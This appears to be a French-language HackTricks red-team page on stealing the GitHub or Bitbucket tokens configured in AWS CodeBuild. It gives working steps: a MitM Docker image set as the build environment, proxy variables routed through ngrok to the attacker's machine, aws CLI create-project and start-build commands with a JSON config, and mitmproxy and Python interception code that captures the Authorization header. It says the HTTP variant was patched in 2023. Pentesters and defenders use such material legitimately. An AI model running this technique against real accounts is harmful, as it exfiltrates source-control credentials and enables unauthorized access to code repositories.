AWS Codebuild - Token Leakage

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Récupérer les jetons configurés pour Github/Bitbucket

Tout d'abord, vérifiez s'il y a des informations d'identification source configurées que vous pourriez divulguer:

aws codebuild list-source-credentials

Via Docker Image

Si vous découvrez que l'authentification, par exemple sur Github, est configurée dans le compte, vous pouvez exfiltrer cet accès (jeton GH ou jeton OAuth) en faisant en sorte que Codebuild utilise une image Docker spécifique pour exécuter la construction du projet.

Dans ce but, vous pourriez créer un nouveau projet Codebuild ou modifier l'environnement d'un projet existant pour définir l'image Docker.

L'image Docker que vous pourriez utiliser est https://github.com/carlospolop/docker-mitm. Il s'agit d'une image Docker très basique qui définira les variables d'environnement https_proxy, http_proxy et SSL_CERT_FILE. Cela vous permettra d'intercepter la plupart du trafic de l'hôte indiqué dans https_proxy et http_proxy et de faire confiance au CERT SSL indiqué dans SSL_CERT_FILE.

  1. Créez et téléversez votre propre image Docker MitM

  • Suivez les instructions du dépôt pour définir votre adresse IP de proxy et définir votre certificat SSL et construisez l'image Docker.

  • NE DÉFINISSEZ PAS http_proxy pour ne pas intercepter les demandes vers le point de terminaison de métadonnées.

  • Vous pourriez utiliser ngrok comme ngrok tcp 4444 pour définir le proxy vers votre hôte.

  • Une fois l'image Docker construite, téléversez-la dans un dépôt public (Dockerhub, ECR...)

  1. Définissez l'environnement

  • Créez un nouveau projet Codebuild ou modifiez l'environnement d'un projet existant.

  • Configurez le projet pour utiliser l'image Docker précédemment générée

  1. Définissez le proxy MitM sur votre hôte

  • Comme indiqué dans le dépôt Github, vous pourriez utiliser quelque chose comme:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

La version de mitmproxy utilisée était la 9.0.1, il a été signalé qu'avec la version 10 cela pourrait ne pas fonctionner.

  1. Exécuter la construction & capturer les informations d'identification

  • Vous pouvez voir le jeton dans l'en-tête Authorization :

Cela pourrait également être fait depuis l'aws cli avec quelque chose comme

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Via HTTP protocol

Cette vulnérabilité a été corrigée par AWS à un moment donné la semaine du 20 février 2023 (je pense le vendredi). Donc un attaquant ne peut plus en abuser :)

Un attaquant avec des permissions élevées sur un CodeBuild pourrait divulguer le token Github/Bitbucket configuré ou si les permissions étaient configurées via OAuth, le token OAuth temporaire utilisé pour accéder au code.

  • Un attaquant pourrait ajouter les variables d'environnement http_proxy et https_proxy au projet CodeBuild pointant vers sa machine (par exemple http://5.tcp.eu.ngrok.io:14972).

  • Ensuite, changer l'URL du dépôt github pour utiliser HTTP au lieu de HTTPS, par exemple: **http://**github.com/carlospolop-forks/TestActions

  • Ensuite, exécuter l'exemple de base depuis https://github.com/synchronizing/mitm sur le port pointé par les variables de proxy (http_proxy et https_proxy)

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Enfin, cliquez sur Build the project, les informations d'identification seront envoyées en clair (base64) au port mitm :

Maintenant, un attaquant pourra utiliser le jeton depuis sa machine, lister tous les privilèges qu'il possède et les (ab)user plus facilement que d'utiliser le service CodeBuild directement.

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Dernière mise à jour